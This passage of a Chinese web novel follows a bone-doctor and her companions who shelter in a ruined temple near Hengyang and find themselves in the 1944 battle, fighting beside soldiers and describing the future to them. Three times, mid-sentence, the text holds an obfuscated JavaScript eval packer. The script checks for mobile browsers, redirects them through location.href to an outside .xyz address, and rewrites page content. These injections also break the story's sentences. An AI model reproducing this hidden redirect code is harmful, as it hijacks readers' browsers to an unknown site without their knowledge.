“了不起!真的了不起!”凌岓由衷感叹,“守城的官兵了不起,衡阳人了不起,湖南人也了不起!” “是啊。”姜泠也接上话,“人家说‘川军不负国’,湘人也一样。早就听说湖南人有血性,听您这么一说,真觉得不容易。” 这话说得诚恳,凌岓不敢置信地看向身边人,“你也知道这些?” “……”姜泠被问沉默了,好半天,她才十分严肃地回答,“骨医只是有点常人没有的本事,这并不代表我们不学习。近代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679654|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史是每个国人都该记得的历史,我为什么不知道?” “对,说得对!”提问者听了,心中油然而生一阵说不上来的高兴。 船工在一旁听着,为两个年轻人的夸赞而喜悦。他从船尾拿出一张地图递过去,“这是地图,你们看。纪念广场、和平钟、文化墙离这里都不远,你们有兴趣的话可以去看看,绝对值!” “能来这一趟就够值了。”凌岓收下地图,决心去看看,“您也不得了!一听就知道您对衡阳会战的了解不少。” “那当然!我们家老爷子可是实打实经历过的!”一提起这事,船工更自豪了,“虽说他也是个平头老百姓,但他也是经历过的!他还给那些官兵们做过饭呢!” “那也很了不起。”姜泠从话里抓住一点关键信息,问船工:“那您家老爷子认不认识还活着的官兵?我们也想去探望老兵,向先辈致敬。” “应该有吧。”船工搜索记忆无果,决定先留个联系方式,“我回去问问,有的话给你们打电话。” 无心插柳柳成荫就是如此——凌岓本意是想以打听消息的名义,在湖光潋滟的秋色美景中营造出一点浪漫气氛的,结果浪漫氛围没营造起来,消息反倒真有可能打听到。他也不知该笑还是该无奈,只能一边庆幸,一边在心里暗暗叫苦。 船工没说大话,他的确有个亲身经历过会战的老太爷。老太爷记性还不错,人也健谈,听说有年轻人对这个感兴趣,二话不说就给了几个老朋友的住址。 好巧不巧的是,老太爷给的地址就在老郑朋友说的那个村子里。按照船工转述过来的说法,当时会战结束,有一部分伤病员就定居在了这里,和当地的女子结亲,慢慢成为这里的一员。如果要找人,那去这个“老兵”村是最有希望的。 得了消息,姜泠更想早点奔赴最终目的地了——骨医要想寻骨,要么有骨肉血亲做寻路者,要么有亡者最贴身的东西做引子,否则即便知道了大概在什么区域,也难说能找到遗骨埋葬的确切位置。 一般来说,骨肉血亲必须为子女,隔代的孙辈都会让寻骨的难度更加一层。同时,以人作为“指南针”的方法向来属于下策,被选中的血亲很容易会在寻骨的过程中遇到些邪门事儿,轻则感冒发烧,重则失魂落魄。 当然,阚兴华当年离家时的三个孩子,有两个都去世了,只剩下一个阚铭的奶奶,偏偏现在还躺在医院的重症监护室里——就算想用血亲之法,客观条件也不大允许。 姜泠翻遍了殷漠留下的古籍资料,又让卫斯诚查了再查,最终还是没能找到更好的寻骨方法。于是她决定去这个“老兵”村碰一碰,如果能找到当年和阚兴华认识的人最好,要是能找到一星半点的信物,那更是上上大吉。 她低着头思考这些事,全然没注意到凌岓在后面说了些什么。等她刹住脚时,凌岓的话也说完了。 “你说什么?”姜泠只听见最后两个字——一起。 “看来你是一句都没听进去啊。”凌岓并不恼怒于身边人没听自己说话,反倒还松了口气,“没什么,下次有机会再跟你说。不过,你在想什么?想得那么投入。” “我在想,今晚就动身去那个村子。”姜泠有话直说,“我先去,你们随后来。我先去看看那村子的环境,看看有没有什么不对劲的地方。” 68. 第六十八章 晚些时候,彭越和阚铭各提着一个大袋子回来了。听说姜泠现在就要赶路,两人都不同意她自己一个人去。最后一合计,几人决定先吃饭,然后去租辆车,大家一同启程。 太阳光渐渐隐匿在地平线下,彭越领着众人来到一个街边不起眼的小饭馆里,用了不过三百就吃了一顿地地道道的湘菜。酒足饭饱以后,和租车行老板约好的房车就停在门外,阚铭拎着两袋吃的跟着姜泠钻进了后座。 目标村落距离衡阳市区虽说算不上远,但因为中间隔着两座小山包,开车要绕路,所以才选择了房车。谁想天公不作美,车子刚绕过第一座山,就下起了淅淅沥沥的雨。再往前开了两里地,彭越一个急刹车,是前轮被路上的碎玻璃扎爆胎了。 车里没有备用胎,附近的信号又总是断断续续的,几个人只好在车上窝着,等待救援电话能打通。 阚铭天生乐观,对眼下的情况没有什么要抱怨的。她撕开薯片包装袋的一角,把里面的东西挨个给同伴们发了一遍——电话没打通也不要紧,反正她带的零食足够四个人吃三四天。 车里放的是蓝调音乐,隔着全景大天窗看向夜空,只看见漆黑一片,一颗星星都没有。彭越性格外向,走到哪儿都是绝佳气氛组,再加上眼下信号不好,手机也玩不了,于是他起了个头,决定讲点有趣的故事来消磨时光。 第一个故事老生常谈,是讲医院太平间红绳女孩的鬼故事。结果彭越失算——在场的几个人都是四处奔波过的,就算是夜路也都独自走过不少,听这种故事,他们非但不觉得恐怖,还觉得无聊。 轮到阚铭,她讲了一段自己去深山采矿做颜料的经历。这段经历中没有什么灵异的、诡异的元素,倒是又让听众们发现了许多徒步进山时可以用到的好装备。 轮到凌岓,他讲了一个海难的故事。故事里的海妖能让死去的人复活,也能让失去记忆的人找回过去。也不知讲故事的人从哪里听来的这个传闻,总之姜泠是越听越觉得他说的“海妖”有点熟悉,最后恍然大悟——这不正是岳青罗的形象嘛! 她想提问,谁料还没开口,凌岓就先一步做出解释,“这是我去沿海渔村玩的时候听到的,里面的人物形象是经过本人加工的,如有雷同,纯属巧合。” 姜泠默不作声地坐远了点,开始思忖自己该讲些什么。看着三双将视线聚焦在她身上的眼睛,她灵光乍现,决定把自己第一次替人寻骨的经历说一遍。 如果现在洪钟在场,一定会惊讶于自己的影响力——不止凌岓,连姜泠都学会了他讲故事时的语气和句式。 最后一个故事发生在三年前,以一句俗话开头:“老话说‘宁可夜宿荒坟,不可夜居古庙’,我想讲的故事就发生在一个古庙里。” 姜泠的语速不紧不慢,把听故事的人带回了三年前的一个深夜。 那是一个充斥着蛙声和蝉鸣的夏夜,彼时,殷漠失踪不久,姜泠和卫斯诚刚接到第一笔独立完成的生意。雇主是一位白发苍苍的富豪,他出价百万,要求姜泠找到他掉落山崖的小孙子的遗骨。 这并非难事,只是得先爬到事发的山顶上去才行。姜泠到达山脚时已经是晚上了,为了不耽误时间,她背着双肩包就往上爬,完全没多想可能遇到的问题。 走到凌晨,山上突然起了大雾,雾气浓重,把来路和去路挡了个严实。第一次遇到这种情况,姜泠只好停在原地等待雾散,就在这时,来了一位卖莲蓬的老妇人。 “小姑娘,这么晚了,你怎么一个人在山上?是迷路了吗?” 姜泠虽然看不见,但听声音也能猜到,说话的女人年纪不小。她警惕着和妇人拉开距离,然后才回答对方,“我出来玩,夜爬。” “你们这些年轻人呐,真是初生牛犊不怕虎,对大山一点敬畏都没有,尤其还是夜晚的大山。” 光从声音和语气来判断,这应该是个热心老人。她告诉眼前的年轻姑娘,山里的大雾来得快,去得却未必快。到了后半夜,山中还可能会降雨降温,如果不赶紧下山或是找到住宿的地方,很有可能会有失温的危险。 失温,通俗来说就是人体热量流失大于补给。经常有户外徒步的驴友在碰到低温或大风大雨时出现这种症状,一旦医治不及时,十之八九会成为典型例子上新闻。 姜泠虽说胆子大,可也没有大到随随便便就拿命当赌注的程度。何况她是第一次独立完成任务,对这座山里的气候变化又并不熟悉,故而权衡之下,还是听了老妇人的劝,决定先摸索着找个落脚的地方。 老人热心,见年轻人被自己劝动了,又继续说,“我们现在应该快到半山腰了,这附近有一个破庙,虽然有些年头了,但多少也能遮风避雨。你要信得过我老婆子,我就带你过去。” 尽管心里还有疑虑,可也没有更好的办法了。姜泠一咬牙,决定信任对方一次,一旦遇到什么反常,立即出手先发制人。 老妇人挑着两个竹筐走在前面带路,很快就来到了她说的那个破庙。 行至庙门前,浓雾稍微散去了一点,却隐隐约约透着些诡异的血红。庙门上豁了两个大洞,风一吹,庙顶的瓦片就噼里啪啦往下掉。庙中立着一个身着紫衣、手持斧钺,青脸长须的细眼睛神像,这神像的眼神发斜,让人看着就觉得不舒服。但姜泠看不见,也无所谓舒服不舒服。 老婆婆把两筐莲蓬放在地上,笑眯眯地递给姜泠一件衣服,“我瞅着一会儿要下雨,你把棉衣拿着,冷了就披上,别感冒了。” 到此为止还没出现什么反常情况,姜泠也不好再冷言冷语相向。她接过棉衣道了谢,默默窝在离神像很远的角落里,依然保持警惕。 老人预测得很准,两人进庙没多久,山里就卷起一阵狂风。风把庙顶的瓦片吹落在地,噼里啪啦好不热闹。紧接着,大暴雨也倾泻而下,刚刚散去一点的雾又重新聚集在一起,浓雾穿过破庙大门,直奔庙中人的鼻腔而去。 浓雾夹杂着淡淡的腥气,角落里的人下意识用袖子捂住口鼻。下一秒,奇怪的动静传来,她凝神细听,惊觉是神像在笑。 “婆婆?”姑娘的声音穿透浓雾直抵破庙的另一边,可并没有人回应她。她凭着记忆往门边走,破庙的两扇大窟窿门紧闭着,连那两个牛头大的破洞也不见了。 姜泠手心里全是汗,她紧张到了极点,不怕有人正大光明地害她,怕的是敌人在暗我在明,暗箭难防。她贴着墙边小心移动,一脚踢到了那两筐莲蓬,莲蓬的主人早已经不知去向。 神像不再发出笑声,那双细长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14705818|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斜视眼睛慢慢瞪大了,神像抿着嘴的微笑也渐渐成了狰狞的大笑。姜泠没看到神像张开的血盆大口,有东西从浓雾中飞出,击中了她。 待到她再醒来时,人躺在半山腰的山道上,既没有缺胳膊少腿,也没有神智不清。好心的环卫工人递给她一瓶水,还不忘关切地问她要不要联系医院。 姜泠道谢后拒绝,又问有关破庙的事。谁料环卫工人万分震惊地对她说:“这附近没有庙的。小姑娘,你怕不是撞邪了吧?” “没有庙?” “没有庙。”环卫工人斩钉截铁地说,“我在这儿干了小二十年,山上山下熟得很,有没有庙还能不知道?” 姜泠讲到这儿,正打算继续说下去,却被彭越打断了—— “你们看那是什么?” “别闹,没听完呢!”阚铭想问破庙的事。 “谁闹了,你自己看那是啥?刚刚来的时候还没有吧…”彭越死死盯着房车前一幢影影绰绰的屋子。 “绝对没有。”雨停雾散,凌岓也看到了彭越看到的东西。 阚铭本来还以为老板在开玩笑,毕竟彭越平时经常恶作剧。可凌岓这么一说,她也听出了不对,顺着挡风玻璃看出去,眼前不知什么时候出现了一座古庙。 车灯照上去,能看到古庙的黄色墙皮已经剥落了大半,柱子上的朱漆褪色严重,在潮湿的雨水浸泡下,才能看到些本来的颜色。 “…没有这么玄乎吧?”阚铭表示难以置信,“不至于刚讲完破庙,就要遇到破庙吧?你俩是不是记错了,可能这儿本来就有个庙。” “绝无可能。”凌岓把手机递过去,里面是两张公路照片,“我打算明天到地方发朋友圈的,你看那时候哪有这个庙?” “那…那总不至于?”阚铭和彭越对视了一眼,转头问不参与讨论的姜泠,“在你的故事里,最后那庙是怎么回事?不是什么脏东西吧?” 姜泠抿了抿嘴,没有正面回答,“我也觉得不会那么巧合。要不然这样,我拿个手电下去看看,这样大家都能安心。” 人还没行动,阚铭已然结结实实挡在了车门口,“别去了,这种时候最怕分开。” “你说的也对,要是没事皆大欢喜;要是有事,剩下的人还能赶紧想想对策。但你一个人不行,我陪你去。”凌岓非但不阻拦,反而还附和。 “你俩消停会儿吧!”最后还是彭越拍板,“小阚说的对,不管那庙里是不是有什么,这大晚上的能不分开还是尽量别分开。要是非去不可的话,那也一起行动。就这破车现在已经这样了,真要有什么事,剩下来个大罗神仙也跑不脱。” “那要不…不去了?”姜泠也是为了同伴的安全着想,毕竟她还不清楚彭、阚两人的战斗力如何。 “去!”彭越说,“我倒要看看,现在这个年代,哪来这么多装神弄鬼的东西!” “去呗。我双手双脚支持!” 阚铭最爱冒险,金宁的恐怖密室她全都玩过了,遇到这种真实存在的,她反而更兴奋。 这下轮到凌岓和姜泠面面相觑了,他们看着另外两人把吃的喝的背进包里,一起下了车。 夜晚的山路静得离谱,还没靠近古庙,众人就已经看到了庙四周弥散着的红雾。 69. 第六十九章 庙前有一棵枯死的老树,还是秋天,树上只剩几片被虫子蛀烂的树叶和又细又软的枯枝,看上去颇有几分鬼故事中常见的味道。 临近庙门,黑夜中突然传出十分难听的叫声,这叫声犹如人类受到酷刑时的惨叫,听得人浑身发毛。一抬头,树枝上站着一只黑影,凌岓打着手电一看,原来是只鸟。 这鸟长着一个又大又圆的脑袋,鸟喙很尖;它脸盘雪白,面周有一圈橙褐色的领环,眼周还长着浅棕色的细毛。鸟身上分布着黑色斑点,羽缘棕黄,腿部也有一圈稀疏的灰黑圆点。它一双黑豆般的眼睛滴溜溜地转,看起来像是猫头鹰的哪一支亲戚。几个人刚和它对视没多久,这只鸟就一个俯冲,把地上窜过的一只大鼠叼在了嘴里。 “这什么东西?”阚铭紧紧抱着自己塞满零食的背包,生怕大鸟像叼老鼠一样抢她的包。 “仓鸮。喜欢在农村谷仓里栖息,所以叫这个名字。”彭越从小在农村长大,见得多了,“你别看它飞起来不声不响的,抓老鼠的本事可是一绝,在我们那儿都叫它捕鼠能手。” “哦,那它?” “不害人。”阚铭一开口,彭越就知道她想问什么,“充其量也就是叫得难听点,没什么可怕的。” 有了这句话,其他人又能把心放回肚子里,继续进庙去了。 走近了才发现,这庙的确够破——除了剥落一地的墙皮,门也变成了一条条裂开的木板;门上的铜环只剩下个半圆;打开门,扑面而来一股枯叶沤烂在雨水里的臭味;蟑螂和老鼠大摇大摆地从人面前经过,半分畏惧和慌张都没有;各种花色的蜘蛛在角落里爬过,一不留神就掉到了来人的脖子上。 庙里摆着两尊对立作揖的神像。左边的神像有一张白脸,细眉窄眼,表情笑眯眯的;右边的那尊红脸长须,浓眉大眼,目眦尽裂,一副凶神恶煞的表情,和左边那位形成了十分鲜明的对比。 灰尘呛鼻,姜泠挥挥手掀开四处乱飘的蛛网,心想要是洪钟在就好了——他十有八九会知道面前的两位是何方神圣。 “这看着也没什么。”彭越绕到神像后面去,那里除了一个香台、几床破棉被和一个功德箱,什么都没有,“我还以为真会有什么灵异事件,结果就是氛围恐怖了点。” “那我们要回车上吗?”阚铭随时随地都能吃,现下问着,嘴里还嚼着刚拿出来的牛肉干。 “回去干嘛,在庙里呆会儿呗。”彭越兴致上来了,“在这地方讲鬼故事肯定刺激,咱再一人一个鬼故事,讲完再回。” 话音刚落,“咣”一声响起,庙门上的一条木板被庙外的风吹掉了。 凌岓打着手电把里里外外都仔细搜查了一遍,确定没有什么可疑之处,这才回到同伴中间,耐心听鬼故事。 “一阵阴风吹过…” 看见回来的战友轻轻点点头,彭越继续讲下去,刚说到这句,门开了。 “请问,可以和你们一起待一宿吗?”门外站着一个手挎竹篮的老人,她面色苍白,语气倒是十分和蔼礼貌。 “你你你你你…”阚铭着实被吓了一跳,结巴了半天才问出一句,“你是人是鬼啊?” 姜泠下意识挡在同伴前面,随时做好攻击对方的准备。谁想老人一听这话,竟笑出了声。 “我家就住在隔壁村子里,出来卖菱角,等卖完太迟了,又赶上外面下雨,所以才绕到这里来躲雨。我当然不是鬼,我是人,身上还有身份证明呢,你们要不看看?” 老人说着就要放下篮子掏口袋,众人连忙阻止。 “不用不用,我们是自己吓自己。”凌岓往神像脚下走,给老婆婆腾地方。 姜泠跟着往里移动,视线却怎么都离不开眼前的老妇人。彭越还在继续讲鬼故事,她心不在焉地听着,听到“那是一只老鬼”这句时,她终于想明白了眼前人哪里不对。 起初她老妇人进庙时,惊讶、瘆人等情绪混在一起,加上她衣裤上沾染的泥水,没人注意她穿什么、穿得如何。现在她蜷在角落里闭目养神,这才让姜泠有机会把她整个人看个仔细。 外面下着雨,又是在山道中间,泥泞溅满了老人的鞋袜和裤腿,这不足为怪,奇怪的是老人的穿着—— 靛蓝色的收脚袄裤裤脚处漏出几撮棉絮,口袋处有三个黑布补丁和几根不协调的白线,看起来像是被穿的人自己缝上去的;雾灰色的粗布上衫领口处变形严重,上衣袖口已经被磨烂了,还有好几处开线、起球,给人一种使劲一抻就会让这件衣服彻底崩开的感觉。 但这也并非真正让姜泠奇怪的地方,真正不对劲的是衣服的款式。袄裤、圆领琵琶襟上衣,怎么看怎么不像现代人会穿的款式。即便是近些年来,层出不穷许多改良版国风、新中式的衣服,也没有哪件像老人穿的这身一样,既不贴身,也不潮流。 除此以外,穿衣服的季节也不对——现在是九月底,虽说有一点降温,可也远没到要穿棉裤棉衣的季节。老人皮肤很黑,脸上的皱纹写满了时间流逝;她头发灰白,盘着一个城市中不常见的髻,让人觉得她是从上一个世纪穿越来的人。 姜泠想把自己的发现告诉同伴,但还没来得及张口,又进来一个人。 “这地方有人,快进来避避雨!” 说话的是个老汉,他挑着一根扁担,身上的汗衫和腰间的烟袋锅子已经被外面的大雨打湿了,屁股后面跟着的一男一女两个小孩子也湿漉漉地进了庙。 小女孩年长一些,她扎着两根短粗短粗的麻花辫,穿着一身褪色的红棉袄。另一个年幼的男童是女孩的弟弟,他一只手被姐姐牵着,另一只手正放在嘴里吮。两个孩子瞪大眼睛看向姜泠一行人,怯生生的。 老汉放下担子,把孙子孙女安顿到了另一个角落里。他想抽烟,但烟袋锅子点不着,只好作罢。 “老刘头!你咋个也在这块!”老妇人张望了半天,认出了新来的三个人。 “王婆子!”老汉一听声音,眼睛一亮,“咋个?你也是遇上下大雨,走不脱?” “是嗦!天晓得这个鬼雨啥时候能停!” 四个年轻人坐在神像脚下看着两个老人寒暄,一时都不知道该说什么。还是老汉先找他们搭话: “你们是大城市来的吧,穿这么少,也不怕着凉?” “大城市?”阚铭还以为自己听错了。 “您为什么这么说?”凌岓也很好奇。 “看你们几个穿的衣服,一看就是大城市里头的人穿的。”老汉磕了磕烟袋锅子,总算能嗅到一点里面烟叶的味道。 年轻人看着自己身上最常见不过的短袖和冲锋裤,面面相觑,不明白这为什么成了“大城市”专属。 小男孩挣脱开姐姐的手,啃着指头走到阚铭身边。阚铭一开始没明白他的意图,顺着他的眼神看过去才恍然大悟——他想要自己放在地上的奶糖,估计是刚才自己剥了一颗吃进去,把小孩子的馋虫勾了起来。 阚铭笑着把糖递给小男孩,却被老汉的大声怒喝吓了一跳—— “不许乱问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717756|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人要东西!” 小男孩一怔,然后畏畏缩缩地伸回了手。他眨了眨眼睛看着奶糖,又转头看看爷爷,可怜巴巴地窝回姐姐身边去了。 “那么凶干嘛,我又没下毒。”阚铭翻了个白眼,把糖顺手放在地上。 彭越觉得好笑,大声对老汉说,“大叔,我们不是坏人,是来这儿找…旅游的。小朋友也没开口要东西,是我们自己想给。” 说到这儿,彭越去拿地上的糖,却碰了个空。他还以为是阚铭收起来了,直问道,“糖呢?咋还藏起来。” “谁藏起来?”阚铭白了他一眼,“那不就在这儿…糖呢?” 庙里陷入一阵诡异的寂静,奶糖刚刚的确在阚铭手边放着,也不可能有人在她眼皮子底下把糖拿走。两颗莫名其妙消失的大白兔奶糖,却让几个人心里油然而生一股凉意。 老汉也不知想到了什么,站起身就拿着烟袋锅子往小男孩身上招呼,“是不是你!是不是你偷了人家的东西!” 雷声虽大,雨点却小。老汉看着下手挺重,实际上却是收着力轻轻拍打。可即便如此,小男孩还是嚎啕大哭,一边哭一边大叫着“没有”、“不是我”。 “诶诶诶,你怎么打人呢?” 等到反应过来,阚铭第一个扑上去护在小孩身前,姜泠和凌岓一左一右拉住老汉;彭越赶紧手忙脚乱地翻包找零食。 “你这大爷,怎么随便打孩子…又没人说是他拿的!”阚铭给小男孩擦眼泪,一边擦一边埋怨老汉。 “我们虽然穷,但人穷志不短!”老汉把烟袋锅子背到身后,梗着脖子回答她,“你们不说,可是这屋头只有我们几个人,你们那话的意思不就是我们拿的!” “您误会了。”姜泠否认老汉的话。 “是啊,您误会了。”凌岓接着说,“我们不是说你们拿的,我们是怕这庙里有不干净的东西,人眼看不到的那种。”凌岓这话既有阚铭的心声,也有替同伴辩解的意味。 老汉一听,总算消了点气。但新的疑虑也因此生出,他习惯性地咂巴一口烟袋锅子问,“哪有不干净的东西?莫乱说!” 庙外一阵阴风又起,仓鸮可怖的叫声伴着大雨,叫人不得不心生防备。 老汉的小孙子没见过薯片,现下正和姐姐咔吱咔吱地分享。庙里的暗灯倏然晃了一下,弄得几个人连忙打起精神看向门口。雨还没停,又进来一个人,这次没等来人找地方坐下,老刘头就认出了他。 “你是不是老张家的小儿子,前几年参军了的那个?” “对,您是?” 这次来的是个年轻人,他穿着浅灰的制服,袖子上别着白色的番号袖标,绑腿的布条有点发黄,黑布鞋也磨旧了。这身打扮,看起来像是扮演红军的演员。 “我是老刘,村东头那个,刘胜利!”老汉凑近年轻人,试图让对方认出自己来。 果然,年轻人一拍老刘头的肩膀,兴奋道,“刘叔!真没想到在这块碰见您了!您怎么样?好不好?我屋头老汉呢?” “好啥哦!”老刘忙不迭回答他,“自从鬼子来了以后,我们这块就没太平过,不过日子还算过得去。你老汉前阵生病咯,肺病,蛮严重,到现在还没好呢!不过好在你回来了,你老汉也有个指望。” 年轻人叹了口气,忧心忡忡地皱着眉头,“又该打仗了。” 一老一少的对话内容过于清奇,让人不免怀疑自己是不是误入了哪个拍戏剧组。偏偏这时候,阚铭发现自己的零食又少了几包。 70. 第七十章 夜战 秋雨渐大,丝毫没有要停下来的意思。凌岓和彭越两个胆子大的干脆抄起庙里的烧火棍到外面去看看。片刻之后,两人回来,说的第一句话是:“车没了。” 阚铭还没反应过来,姜泠已经一脚跨出破庙门槛朝外望去。庙外面不知什么时候变成了一片杂草丛生的野地,野地再往前是庄稼地,庄稼地两侧是芦苇荡。如果说还有什么是和进庙时一样的话,那就只剩下门口的老树和转着眼睛四下张望的仓鸮了。 远处传来窸窸窣窣的声音,借着月光,姜泠影影绰绰看见芦苇荡里似乎有什么东西在动,从高高的芦苇丛摇曳的幅度来判断,在里面穿行的东西要么是个庞然大物,要么是规模不小的一整支队伍。 门外的人往门里退,一不留神和穿着军服的人撞了个正着。年轻的士兵草草道歉,然后一脸紧张地奔着芦苇荡去了。 “这剧组弄得还挺逼真,也不怕我们这些误入镜头的穿帮。”庙里,彭越依旧认为这是剧组拍戏,“说不定过会儿还要打仗呢!” “哈哈…”凌岓干笑两声,把刚回来的姜泠拉到一边,小声问,“这不会又是阴幛吧,我看他们不像假的,要真是剧组拍戏,早应该清场才对。” “应该不是。”骨医回答,“古城湮灭以后,计枵和他那些傀儡也都灰飞烟灭了。他又没有徒弟,应该不会再有人能制造出新的阴幛了。” “那要万一?” “应该不是。”姜泠摇摇头,算是给凌岓吃下一颗定心丸,“销骨针也没了,这些人又不像傀儡。依我看,倒可能是因为某种契机扰动了这里的磁场,所以发生了时空扭曲。” “时空扭曲?”阚铭从两人中间幽幽冒头,“那可能扭曲到哪一年?” “如果是抗战时期的话,刚才这些大叔大婶的话就都对上了。但是,那岂不是意味着真有可能打仗?”彭越凑在一旁思考。 “知道了总比不知道好。”姜泠宁可乐观一点,“再说了,打仗怕什么?以前只在书里看到过穿越回去帮先辈们打仗的,现在真有这个机会,我们难道还要躲?再说,躲也没处躲。” “这话在理。”凌岓点头附和,“如果真是时空扭曲到抗战时代,我们说不定还有机会和前辈一起报一报国仇家恨。” 闻言,彭越撸起袖子,一脸豪情壮志,“总算轮到我彭越,一个生在红旗下、长在春风里,根正苗红的人民解放军战士报仇雪恨了!同志们,没有胆怯,要真的穿越回来了,咱撸起袖子就是干!” “干!”阚铭从小最怕,也最爱读的就是近代史。每每读到抗战那一段,她只恨自己不能穿越回去成为保家卫国的战士之一,现在可能有了这个机会,她非但不怕,反而有种不知者无惧的兴奋感。 姓张的小战士回到庙中,叫醒了迷迷瞪瞪的老妇人和老刘头的两个孙子孙女。 他把他们带到神像脚下的四人面前,问道,“几位同志,你们是从哪里来的?看样子不像我们本地人。” “外地。”彭越信口胡诌,“从上海那边过来,经过这里。” “明白了。”小战士一脸正色地说,“这庙后面有一个能藏身的地方,几位同志跟着刘叔他们一起去避一避吧。今晚我们有场战斗要打,你们一定藏好了!等胜利了,我就去找你们!” 说完,年轻的战士扛起步枪,头也不回地消失在门外的夜色中。 这下可好,彭越一腔热血完全被勾了起来。他郑重其事地做出安排,“你们两个姑娘和老人孩子一起躲一躲,我和老凌过去看看。作为一名曾经的战士,不管什么时候我们都不能临阵脱逃!” 凌岓没反驳,他把小女孩的手放进姜泠手里,留下一句“帮忙照顾好老人孩子”后,和彭越一起离开。 姜泠把小姑娘的手交还到老刘头手上,“爷爷,你们快带着孩子躲起来,他们不当逃兵,我也不能。” 眼看着姜泠也要走,阚铭赶紧一把拽住她,然后将自己塞得鼓鼓囊囊的背包交给老刘头,“这里面都是弟弟妹妹会喜欢吃的零食。糖、薯片、饮料,什么都有,保证没毒。等到了藏身的地方,您别忘了给他们拿出来吃!” 交代完,两个姑娘也消失在雨夜之中,留下两个老人面面相觑。老刘头虽说上了年纪,可也是有血性的人,他也想和年轻人一样投入战斗,但看见两个一脸懵然的年幼孩童,他又不得不先把他们安顿好。 夜色中一个背影都看不到了。小战士和四个年轻人与老刘头自己的儿子女儿一般大,他一步三回头,在心里祈祷着今晚的战斗获得胜利。当然,他更希望刚刚离开的年轻人们都能毫发无损地回家。 芦苇荡边上趴着两排战士,当过兵的人最懂纪律严明。彭越和凌岓跟着小战士来到伏击地点,向指战员做了简单的报告,还算顺利地被编入战斗人员的行列中。 黑夜之中伸手不见五指,芦苇荡那头的人蹑手蹑脚往前走,动静却依然不小——敌人快要来了。 第一枪打响,六人一组的战斗小组按照原定计划进行阻击,很快就打退了敌人的第一波攻击。埋伏在这里的兵力不多,以吸引火力为目的。两次攻击之后,战士们很有默契地边打边退,直到一束冲天的火光伴随着巨烈的爆炸在芦苇荡不远处出现,这里的枪声才渐渐停下来。 彭越本以为是能大展身手一番的,哪成想穿越的人无法改变任何进程,除了正常对话外,他们既不能真的端着枪冲锋,也不能实实在在参与到战斗中去。要不是这场小范围阻击战赢了,彭越能急出满嘴燎泡来。 “小同志,你们从哪里来?”战后,只比战士们年长一点的指战员主动过来问。 “上海那附近。”凌岓沿用了彭越之前回答小战士的答案。 “乱讲。”指战员显然没那么好糊弄,“我看你们不像。” “那您看我们像哪里人?”阚铭好奇道。 “依我看,你们压根不像我们这个年代的人。”指战员这句话一出口,身边的战士们呼呼啦啦围上来一大群。他们中有的人眼里全是好奇,有的人眼里却是防备。 “说实话。”指战员个头不高,说起话来却中气十足,他看了看凌岓和彭越,继续说,“我看你们两个娃娃板正得很,倒像是正经当过兵的。年纪轻轻莫要学人家撒谎,说实话。” “说实话…您会信吗?”彭越试探性地问。 “你先说嘛!”周围的一个战士嘟囔着。 “说就说。说之前先问一个问题,现在是哪一年?” 这个问题有点出人意料。战士们你看看我,我看看你,还以为彭越脑子不太正常。 “民国三十三年。”姓张的战士回答。 “民国三十三…”凌岓很快换算过来,“1944年,衡阳会战那一年。” “1944?”彭越思忖片刻,一股脑把几人所在的年份、经历全说了一通。果不其然,讲完以后,他身边的一圈人各个都用怀疑的目光看着他们。 指战员伸手探了探他的额头,确定对方没发烧,便又继续陷入了沉思。 “我就说嘛,我说实话你们又不信。” “信,也不是不信。”指战员挠挠头,只当自己在哄一个异想天开的年轻人,“你说你们是从未来过来的,那就跟我们讲讲未来是什么样吧。” 激战大半夜,好不容易等到完成了任务,战士们也难得松弛下来。他们抱着枪,乍起耳朵听四个自称来自未来的“怪人”讲述未来。 “未来是什么样…”几十年来,这个世界和国家的变化巨大,突然要描述现代社会的样子,几个人倒都不知从何开口。 凌岓看着这些“老前辈”手里型号、大小参差不齐的武器,想到的第一个就是装备的升级:“未来就是,我们有自己造的武器了,既好用又抗造。不仅仅是枪,还有各种新武器。有新坦克、新导弹,还有我们自己的战斗机。” “真的?”指战员眼睛一亮,脸上露出欣 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话匣子一旦被打开,就很难再收住了。在接下来的半个小时中,四个人轮流描述现代社会的变化,从吃穿用度到娱乐住行,从物质改变到精神文化,他们滔滔不绝地在这头讲,战士们满是憧憬地在一旁听。提到一些新事物时,战士们虽然没见过,却总觉得那是好的、有用的。只是半个小时太短,太多的话还没来得及说完,变故就发生了。 “连长!有情况!”趴在不远处的暗哨急匆匆跑过来,“有敌人,看样子人数不少!” “准备战斗!”指战员一声令下,围成一圈的战士们立刻便四散开来,回到各自的战斗点上。 